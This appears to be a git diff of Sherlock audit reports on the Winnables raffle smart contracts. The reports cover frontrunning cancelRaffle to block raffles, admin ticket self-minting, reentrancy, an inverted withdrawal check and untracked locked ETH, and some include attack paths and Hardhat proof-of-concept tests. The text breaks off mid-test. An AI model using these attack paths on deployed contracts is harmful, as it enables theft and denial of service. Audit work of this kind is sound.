the high severity. + +### PoC + +_No response_ + +### Mitigation + +Consider adding some time delay after a message for setting up a raffle is received from the ``WinnablesPrizeManager.sol`` contract, and only then allow people to call the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function. \ No newline at end of file diff --git a/001/129.md b/001/129.md new file mode 100644 index 0000000..01a32fe --- /dev/null +++ b/001/129.md @@ -0,0 +1,69 @@ +Prehistoric Metal Rabbit + +High + +# Admin can unrestrictedly affect the odds of a raffle by setting themselves up with role(1) in `WinnablesTicket` + +### Summary + +A core invariant defined in the contest README is that: + +> Admins cannot affect the odds of a raffle + +While the centralization risk of admin self-minting tickets is noted, the following assumption is noted: + +> The existence of max ticket supply and max holdings however guarantees a minimum level of fairness + +By setting themselves up with role(1) directly in the `WinnablesTicket` token contract, the admin can bypass all these assumptions (max ticket supply, max holdings), and affect the winning odds with no limit. + +### Root Cause + +First of all, let's look at `mint()` in `WinnablesTickets` contract: + +```solidity +function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199 + +It is clear that role(1) can mint unlimited tickets. Furthermore, the admin can also grant themselves the role, bypassing any restrictions in `buyTicket()`. We now investigate the impact (how the results are affected by the admin minting tickets to themselves) + +When the raffle results are created, the winner is calculated using the `supply` from the ticket storage. + +```solidity +function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); // @audit supplyOf is taken from the ticket + uint256 winningTicketNumber = request.randomWord % supply; + return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); +} +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472 + +By minting (virtually) unlimited tickets to themselves, the admin bypasses all restrictions imposed in ticket purchase, granting themselves victory odds far exceeding the restrictions imposed. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The admin locks a prize, and starts a raffle as normal. People starts buying tickets to enter the raffle. +2. Admin grants themselves role(1) on the `WinnablesTickets` (not the ticket manager), and mints themselves (or any related party) almost unlimited tickets. +3. Admin bypasses all max ticket restrictions, and said party is virtually guaranteed to be the winner. + +### Impact + +Admin can unrestrictedly affect the odds of a raffle, breaking protocol invariant + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/001/133.md b/001/133.md new file mode 100644 index 0000000..659f0f9 --- /dev/null +++ b/001/133.md @@ -0,0 +1,64 @@ +Main Lava Chimpanzee + +High + +# Frontrunner can brick protocol by frontrunning CCIP message on WinnablesPrizeManager + +## Summary +Admin lock their rewards on `WinnablePrizeManager` which is on Ethereum. Users buy raffle tickets using `WinnablesTicketManager` contract. When the admin locks the rewards, a frontrunner may cause a denial of service. +## Vulnerability Detail +Admin can lock rewards using which in turns sends a `_sendCCIPMessage` CCIP message including the `raffleId` to `WinnablesTicketManager` that is on Avalanche mainnet. The `WinnablesTicketManager::_ccipReceive` will be called with the help of CCIP. This sets the `raffleId` status on `WinnablesTicketManager` : +```solidity + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; +``` +A malicious user frontrun `WinnablesTicketManager::_ccipReceive` transaction, calling `WinnablesTicketManager::cancelRaffle` denying the protocol to successfully create raffle with rewards, bricking the protocol. + +Notice this line`if (raffle.status == RaffleStatus.PRIZE_LOCKED) return;`, where it is the first validation checks. Since this is on Avalanche, the malicious griefer frontrunner perform this exploit with low expenses. +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; // @audit + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + //design intended cannot cancel + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +## Impact +Raffle event cannot occur bricking the protocol + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L278 +## Tool used + +Manual Review + +## Recommendation +Include access control where only admin is allowed to call `cancelRaffle`. +```diff +- function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { ++ function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external onlyRole(0) { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` \ No newline at end of file diff --git a/001/134.md b/001/134.md new file mode 100644 index 0000000..d3ad1dd --- /dev/null +++ b/001/134.md @@ -0,0 +1,61 @@ +Shaggy Ultraviolet Parakeet + +High + +# WinnablesPrizeManager::claimPrize does not follow CEI + +### Summary + +[`claimPrize()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) does not follow Checks effects and interactions pattern, as a result this function can potentially be re-entered and even possibly prizes be drained. + +### Root Cause + +`claimPrize` updates state before performing checks, hence non-compliant to CEI. + +### Internal pre-conditions + +caller needs to provide the right RaffleID + +### External pre-conditions + +Attacker needs to perform his call to `claimPrize()` with his malicious contract. + +### Attack Path + +1. Attacker designs an attacking contract that will perform the stealing of prizes recursively to drain protocol +2. Attacker calls `claimPrizes()` with the right raffleID from the attacking contract +3. Attacker drains prizes + +### Impact + +`claimPrize` is vulnerable to reentrancy and protocol can be drained by attackers + +### PoC + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +Above is `claimPrize()` as we can observe the checks in the function are performed last before the `emit` and thus after state changing calls. This is dangerous because it can lead to attackers draining protocol because the checks are after the state has changed. + +### Mitigation + +Re-implement function to follow CEI pattern or use a reentrancy guard from openzeppelin. \ No newline at end of file diff --git a/001/135.md b/001/135.md new file mode 100644 index 0000000..f23518b --- /dev/null +++ b/001/135.md @@ -0,0 +1,119 @@ +Delightful Inky Panda + +High + +# Attacker can frontrun `WinnablesTicketManager.createRaffle` to cancel any raffle + +## Summary + +Due to improper check, an attacker can always frontrun admin's `createRaffle` transaction to cancel raffle. + +## Vulnerability Detail + +Let's investigate how a raffle is created: + +1. admin call `WinnablesPrizeManager.lockNFT()`, `WinnablesPrizeManager.lockETH()` or `WinnablesPrizeManager.lockTokens()` on Ethereum mainnet. This operation calls `_sendCCIPMessage` to inform `WinnablesTicketManager`(on Avalanche) that a raffle can be created: + +```solidity + function lockTokens( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + address token, + uint256 amount + ) external onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + if (tokenBalance < amount + _tokensLocked[token]) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.TOKEN; + unchecked { _tokensLocked[token] += amount; } + _tokenRaffles[raffleId].tokenAddress = token; + _tokenRaffles[raffleId].amount = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit TokenPrizeLocked(raffleId, token, amount); + } +``` +2. CCIP message get executed, `WinnablesTicketManager._ccipReceive` is called: +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); + } +``` +Let's consider the case of normal execution, when `RaffleStatus` is set to `PRIZE_LOCKED`. + +3. Admin call `createRaffle()` to start the raffle and set `RaffleStatus` to `IDLE`(require current `RaffleStatus` == `PRIZE_LOCKED`): + +```solidity + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { + _checkRaffleTimings(startsAt, endsAt); + if (maxTickets == 0) revert RaffleRequiresTicketSupplyCap(); + if (maxHoldings == 0) revert RaffleRequiresMaxHoldings(); + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); + + raffle.status = RaffleStatus.IDLE; + ... + } +``` + +However, due to improper check, attacker can perform `cancelRaffle` between steps 2 and 3. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; //@Audit incorrect + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +If `(raffle.status == RaffleStatus.PRIZE_LOCKED)` , function call will return, and `_checkShouldCancel` check passes. + +On Avalanche, [CCIP Executing DON](https://docs.chain.link/ccip/architecture#executing-don) is responsible for executing `_ccipReceive` transactions, and winnables admin is responsible for `createRaffle`, which means Step2 and Step3 must be executed asynchronously. As long as there are enough MEV resources, an attacker can always frontrun step 3 and force the raffle to get cancelled. + +## Impact + +Impact: HIGH - Every raffle can get DoS. + +Likelihood: HIGH - No additional conditions are required for the frontrun, and the block where CCIP message is executed is predictable. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +## Tool used + +Manual Review + +## Recommendation + +`_checkShouldDraw` should not simply return when `raffle.status == RaffleStatus.PRIZE_LOCKED`. \ No newline at end of file diff --git a/001/136.md b/001/136.md new file mode 100644 index 0000000..1de247a --- /dev/null +++ b/001/136.md @@ -0,0 +1,67 @@ +Handsome Umber Dragonfly + +High + +# Admin will fail to withdraw tokens from the contract WinnablesTicketManager due to incorrect balance check + +### Summary + +A faulty balance check in the **withdrawTokens** function will cause an inability to withdraw tokens for the admin as the function will revert if the withdrawal amount is less than the contract's balance. This incorrect logic will prevent proper token management, effectively locking funds in the contract. + +### Root Cause + +In `WinnablesTicketManager:296` there is an incorrect conditional check on the token balance + +```solidity +if (amount < balance) revert InsufficientBalance(); +``` + +This should instead check if the **amount** is greater than **balance**, as it currently reverts when the **amount** is less than **balance**, which is the opposite of the intended logic. + +### Internal pre-conditions + +1. The contract must hold a balance of an ERC-20 token, where `balance = token.balanceOf(address(this))`. + +2. The administrator (onlyRole(0)) attempts to withdraw an **amount** of tokens that is available within the contract's balance. + +### External pre-conditions + +1. The ERC-20 token must support the standard balanceOf and safeTransfer functions. + +2. The administrator has been granted the onlyRole(0) role, which allows them to execute the withdrawTokens function. + +### Attack Path + +1. The administrator calls the **withdrawTokens** function with a valid token address and an amount to withdraw. + +2. The function calculates the token balance using `balance = token.balanceOf(address(this))`. + +3. The function incorrectly checks if the withdrawal **amount** is less than the **balance** using the condition if `(amount < balance)`. + +4. If the **amount** is less than **balance**, the function incorrectly reverts, triggering an InsufficientBalance error, and preventing the withdrawal. + +### Impact + +The admin will fail to withdraw tokens from the contract, leading to a potential lockup of funds. This situation can disrupt the proper management of tokens and lead to operational issues if the funds are urgently needed. Although no tokens are lost, they become inaccessible, which can have severe operational consequences. + +### PoC + +_No response_ + +### Mitigation + +To fix the vulnerability, the conditional check in the withdrawTokens function should be corrected to properly validate the withdrawal amount against the contract's token balance. + +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + + // Corrected conditional check + if (amount > balance) revert InsufficientBalance(); + + // Transfer the specified amount of tokens to the caller + token.safeTransfer(msg.sender, amount); +} + +``` \ No newline at end of file diff --git a/001/138.md b/001/138.md new file mode 100644 index 0000000..3d9b881 --- /dev/null +++ b/001/138.md @@ -0,0 +1,85 @@ +Agreeable Wooden Unicorn + +High + +# Method refundPlayers doesn't update _lockedETH in WinnableTicketManager + +### Summary + +The variable `_lockedETH` keeps track of the ETH(AVAX) collected by the raffles that are underway. The owner can't withdraw this amount. If a raffle is cancelled then users get to withdraw their ETH(AVAX) paid to buy tickets. But the `_lockedETH` is not updated. So in the future raffle which do gets completed the owner is supposed to get the ticket amount. But since the `_lockedETH` from previously wasn't set to 0 it having some value leads to that much amount getting stuck in the contract forever. + +### Root Cause + +In `https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228` the refunded amount should've been subtracted from `_lockedETH` amount. Since it's not updated the owner will not be able to withdraw this much amount ever `https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A new raffle starts. Alice buys tickets worth of 2 ETH(AVAX). The `_lockedETH` is updated from 0 to 2. +2. Bob buys tickets worth of 1 ETH(AVAX). The `_lockedETH` is updated from 2 to 3. +3. Now the Raffle gets cancelled because of some reason. Both Alice and Bob withdraws their money `refundPlayers()` +4. In Future another raffle starts. Both Alice and Bob stakes 2 ETH each. The `_lockedETH` gets updated to 4 + 3 = 7. +5. The Raffle finishes and winner is chosen. The `propagateRaffleWinner()` updated `_lockedETH` to 7-4 = 3. +6. Now when the Owner tries to withdraw the payment which was 4 ETH it reverts since the `_lockedETH` is 3. So the owner is only allowed to withdraw 1ETH. Rest of the 3ETH will be stuck in the contract. + +### Impact + +It leads to locking of ETH(AVAX) in the contract forever that was protocol income. + +### PoC + +Add the following snippet in `/test/TicketManager.js` +```javascript +it('Should be able to refund tickets purchased', async () => { + const contractBalanceBefore = await ethers.provider.getBalance(manager.address); + const userBalanceBefore = await ethers.provider.getBalance(buyer2.address); + let lockedETH = await manager.getLockedEth() + console.log("Locked ETH is: ", lockedETH) + const tx = await manager.refundPlayers(1, [buyer2.address]); + lockedETH = await manager.getLockedEth() + console.log("Locked ETH after player unlock is: ", lockedETH) + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + const [ event ] = events; + expect(event.event).to.equal('PlayerRefund'); + const contractBalanceAfter = await ethers.provider.getBalance(manager.address); + const userBalanceAfter = await ethers.provider.getBalance(buyer2.address); + expect(contractBalanceAfter).to.eq(contractBalanceBefore.sub(100)); + expect(userBalanceAfter).to.eq(userBalanceBefore.add(100)); + const { withdrawn } = await manager.getParticipation(1, buyer2.address); + expect(withdrawn).to.eq(true); +}); +``` +### Output: +```log +Locked ETH is: BigNumber { value: "100" } +Locked ETH after player unlock is: BigNumber { value: "100" } +``` + +### Mitigation + +Update the _lockedETH variable in `refundPlayers()` as below: +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _lockedETH -= amountToSend; + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} +``` \ No newline at end of file diff --git a/001/141.md b/001/141.md new file mode 100644 index 0000000..9f3695a --- /dev/null +++ b/001/141.md @@ -0,0 +1,52 @@ +Agreeable Wooden Unicorn + +High + +# Possible DOS in raffle setup mechanism + +### Summary + +Method `cancelRaffle()` has external visibility. The raffle is cancellable by anyone until the owner defines the raffle with `createRaffle()`. A malicious user can cancel the raffle as soon as the ccip message is received. This will cause DOS as every raffle is cancellable. Also, it'll burn owner's LINK token on every cancellation call that are in the contract to pay ccip messaging fee. + +### Root Cause + +Since `cancelRaffle()` is accessible to anyone and raffle creation takes additional step from the owner, A malicious can always cancel a raffle without fail. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The owner locks an asset on ETH chain and a ccip message is sent to AVAX chain with raffleId. +2. The AVAX chain receives the message and set raffle status as PRIZE_LOCKED. +3. A malicious user calls `cancelRaffle()` and cancels the raffle before the owner could `createRaffle()`. + +### Impact + +The protocol will be useless as no raffle will work. + +### PoC + +The following test case passes without fail. +```javascript +it('Cancels and sends cancellation CCIP Message', async () => { + let randomUser = await getWalletWithEthers(); + const tx = await manager.connect(randomUser).cancelRaffle(counterpartContractAddress, 1, 1); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(3); + const ccipMessageEvent = ccipRouter.interface.parseLog(events[0]); + expect(ccipMessageEvent.name).to.eq('MockCCIPMessageEvent'); + expect(ccipMessageEvent.args.data).to.eq('0x000000000000000000000000000000000000000000000000000000000000000001'); +}); +``` + +### Mitigation + +To avoid DOS I would suggest to only allow owner to cancel the raffle if the raffle state is in `PRIZE_LOCKED` state. \ No newline at end of file diff --git a/001/143.md b/001/143.md new file mode 100644 index 0000000..bd3f366 --- /dev/null +++ b/001/143.md @@ -0,0 +1,53 @@ +Tame Shadow Jay + +Medium + +# Failure to update `_lockedETH` in `WinnablesTicketManager::refundPlayers` function leads to potential fund locking + +## Summary + +Due to a parallel tracking of actual ETH balance of the contract and the funds locked in raffles, lacking subtraction of released ETH from the variable tracking locked ETH when refunding players may cause future withdrawals of protocol's funds to fail. + +## Vulnerability Detail + +`WinnablesTicketManager::refundPlayers` refunds players for canceled raffles but fails to update the `_lockedETH` variable. This oversight can lead to a discrepancy between the actual contract balance and the tracked locked ETH, potentially causing issues with future withdrawals. + +## Impact + +`WinnablesTicketManager::withdrawETH` relies on the `_lockedETH` variable to determine how much ETH can be withdrawn. If `_lockedETH` is not decreased during refunds, it will remain artificially high, preventing the withdrawal of legitimately available funds. + +## Code Snippet + +[WinnablesTicketManager.sol#L223-L224](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L223-L224) + +This can be exploited or cause issues in the following scenario: + +- A raffle is canceled, and players are eligible for refunds. +- `WinnablesTicketManager::refundPlayers` is called multiple times, refunding ETH to players. +- The contract's actual ETH balance decreases, but `_lockedETH` remains unchanged. +- When trying to withdraw ETH using the `WinnablesTicketManager::withdrawETH` function, the available balance calculation `address(this).balance - _lockedETH` may result in an underflow or prevent legitimate withdrawals. + +## Tool used + +Manual Review + +## Recommendation + +Update the `WinnablesTicketManager::refundPlayers` function to decrease `_lockedETH` when refunding players. Additionally, consider adding a safety check to ensure `_lockedETH` doesn't underflow: + +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + // ... existing code ... + + for (uint256 i = 0; i < players.length;) { + // ... existing code ... + + uint256 amountToSend = (participation & type(uint128).max); ++ require(_lockedETH >= amountToSend, "Insufficient locked ETH"); + _sendETH(amountToSend, player); ++ _lockedETH -= amountToSend; + + // ... rest of the function ... + } +} +``` \ No newline at end of file diff --git a/001/145.md b/001/145.md new file mode 100644 index 0000000..37e32fb --- /dev/null +++ b/001/145.md @@ -0,0 +1,42 @@ +Young Banana Gecko + +High + +# Withdraw tokens revert due to wrong check + +## Summary +Wrong check for the amount of ERC20 tokens on `withdrawTokens` will make the function revert. + +## Vulnerability Detail +In `WinnablesTicketManager.sol` the `withdrawTokens` function checks if the amount to withdraw is less than the token balance. This will always be true and will make the function revert. +## Impact +`WinnablesTicketManager.sol::withdrawTokens` will always revert. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L295 +```jsx + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +@> if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } + +``` +## Tool used + +Manual Review + +## Recommendation +```diff + +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (balance < amount) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); +} + +``` \ No newline at end of file diff --git a/001/147.md b/001/147.md new file mode 100644 index 0000000..57fad8a --- /dev/null +++ b/001/147.md @@ -0,0 +1,64 @@ +Blunt Smoke Crane + +High + +# A malicious user can lock the prize for winning a raffle provided by the admin when a raffle is canceled + +### Summary + +An admin of the Winnables protocol can create a raffle by first calling the [lockNFT()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148-L165), [lockETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-L188), or the [lockTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213) functions in order to lock the prize that the winner of the raffle will receive. Then a CCIP message will be sent to the ``WinnablesTicketManager.sol`` contract, and set the **RaffleStatus** for the raffle id to **PRIZE_LOCKED**. Then the admin has to call the [createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252C5-L274) function in order to fully set the raffle, and users can start buying tickets. If the raffle has ended and the bought tickets are below the **minTicketsThreshold** set by the admin, the raffle can be canceled by everyone. However the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function takes an arbitrary **prizeManager** and **chainSelector** as arguments: +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +As can be seen from the above code snippet the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function also sets the **_raffles[raffleId].status** to **RaffleStatus.CANCELED**. As can be seen from the [_checkShouldCancel()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441) function, if the raffleStatus is **CANCALED**, the function will revert. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +A malicious user can call the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function in order to cancel a raffle, and supply a **prizeManager** address that is different than the address of the ``WinnablesPrizeManager.sol`` deployed contract where the admin initially locked the reward for the winner of the raffle. A malicious actor can simply deploy another contract that can receive CCIP messages (so the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function doesn't revert). The [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function can't be called again for the same raffle ID, and the funds that the admin initially locked in the ``WinnablesPrizeManager.sol`` contract will be locked forever, resulting in a loss of funds for the admin. + +### Root Cause + +The [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function can be called by anyone, with arbitrary **prizeManager** and **chainSelector** arguments. + +### Internal pre-conditions + +1. Raffle with ID 1 has expired and the bought tickets are below the **minTicketsThreshold** set by the admin, now the raffle can be canceled. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Raffle with ID 1 has expired and the bought tickets are below the **minTicketsThreshold** set by the admin, now the raffle can be canceled. +2. A malicious user deploys a contract which can receive CCIP messages, lets call it **ContractB** +3. The malicious user calls the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function but instead of providing the correct address of the ``WinnablesPrizeManager.sol`` contract, where the admin initially locked funds, he provides the address of **ContractB**. + +### Impact + +The funds that the admin locked as a reward for the winner of the raffle, either an NFT, ETH, or some ERC20 token will be locked forever in the ``WinnablesPrizeManager.sol`` contract. + +### PoC + +_No response_ + +### Mitigation + +Consider setting up the **prizeManager** and **chainSelector** in the constructor, or create a function that can be called only once by the admin with the correct parameters. Use those parameters in the [cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288) function, don't allow users to provide arbitrary parameters. \ No newline at end of file diff --git a/001/149.md b/001/149.md new file mode 100644 index 0000000..622cc0e --- /dev/null +++ b/001/149.md @@ -0,0 +1,103 @@ +Agreeable Wooden Unicorn + +Medium + +# Method _checkShouldCancel() should revert if supply == raffle.minTicketsThreshold + +### Summary + +There is a missing check where if `supply == raffle.minTicketsThreshold` the `cancelRaffle()` will still proceed and cancels the raffle. Even though the basic criteria was fulfilled. + +### Root Cause + +In `https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440` the `cancelRaffle()` should revert for case `supply == raffle.minTicketsThreshold` which is not handled here. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The raffle starts and the minTicketsThreshold is set as 10. +2. When the raffle finishes total of 10 tickets were sold. +3. The cancelRaffle will still cancel this raffle if called even though it is a successful raffle. + +### Impact + +A valid raffle is cancelled because of a wrong check + +### PoC + +Add the following test in `/test/TicketManager.js` +```javascript +describe('Successful raffle flow but cancels because of missing check', () => { + before(async () => { + snapshot = await helpers.takeSnapshot(); + }); + + after(async () => { + await snapshot.restore(); + }); + const buyers = []; + + it('Should be able to create a raffle', async () => { + const now = await blockTime(); + await (await link.mint(manager.address, ethers.utils.parseEther('100'))).wait(); + const tx = await manager.createRaffle( + 1, + now + 60, + now + timeSeconds.hour, + 50, + 500, + 100 + ); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + expect(events[0].event).to.eq('NewRaffle'); + const { id } = events[0].args; + expect(id).to.eq(1); + }); + + it('Should be able to purchase tickets', async () => { + await helpers.time.increase(60); + for (let i = 0; i < 1; i++) { + const buyer = await getWalletWithEthers(); + const currentBlock = await ethers.provider.getBlockNumber(); + const sig = await api.signMessage(ethers.utils.arrayify( + ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], [ + buyer.address, + 0, + 1, + 50, + currentBlock + 10, + 50 + ]) + )); + await (await manager.connect(buyer).buyTickets(1, 50, currentBlock + 10, sig, { value: 50 })).wait(); + buyers.push(buyer); + const { totalSpent, totalPurchased, withdrawn } = await manager.getParticipation(1, buyer.address); + 